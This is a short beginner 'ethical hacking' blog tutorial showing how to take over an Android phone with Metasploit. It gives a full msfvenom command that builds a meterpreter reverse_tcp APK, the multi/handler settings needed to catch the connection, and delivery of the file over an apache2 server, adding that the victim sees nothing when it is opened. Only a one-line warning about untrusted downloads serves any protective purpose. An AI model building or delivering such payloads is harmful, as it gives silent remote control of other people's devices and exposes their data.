Hacking an Android Device — Ethical Hacking as a Beginner [08]

--

We will accomplish our goal using the Metasploit Framework, let’s see the procedure:

  1. Get the ip address of the device, make sure it is on your network
  2. Generate payload for android using msfvenom:
    msfvenom -p android/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -o shell.apk
    Here, -p is the platform flag,
    LHOST and LPORT are Local Host and Port on which we want to listen to the incoming signal from our exploit,
    -o is the output flag
  3. Start msfconsole and use exploit/multi/handler
  4. set payload android/meterpreter/reverse_tcp
  5. set LHOST your_ip
  6. set LPORT your_port
  7. run
  8. Send the shell.apk file to your device using apache2 webserver
  9. As the apk is clicked, nothing happens on the device but we get access to it in our msfconsole

This was about hacking an android device. Do not download from untrusted sources.

Stay Protected!

--

--

Bhavyansh @ DiversePixel
Bhavyansh @ DiversePixel

Written by Bhavyansh @ DiversePixel

Hey I write about Tech. Join me as I share my tech learnings and insights. 🚀

No responses yet